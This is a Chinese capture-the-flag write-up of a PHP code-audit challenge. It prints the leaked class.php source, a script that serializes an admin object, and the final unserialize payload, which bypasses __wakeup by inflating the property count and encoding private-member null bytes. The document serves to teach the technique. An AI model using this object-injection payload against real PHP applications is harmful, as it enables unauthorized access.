一个简单的代码审计题目。
题目提示有备份,那就应该有一个目录提供源码下载。扫了一下,有一个www.zip
文件,下载。
打开以后,是三个php源码,其中最重要的是class.php,代码如下:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
看了一下,这个其实是个反序列化题目。脚本如下:
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin',100);
$b = serialize($a);
echo ($b);
?>
结果如下,但是那些<0x00>
复制不下来,用%00
代替。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
把这个当参数上传,无果。
为什么呢,因为源码里面有一个__wakeup()
魔术方法。绕过__wakeup()
的方法为:将那串字符里面的2
换为3
即可。
加上%00是因为username和password都是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失。
所以最后的参数是:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}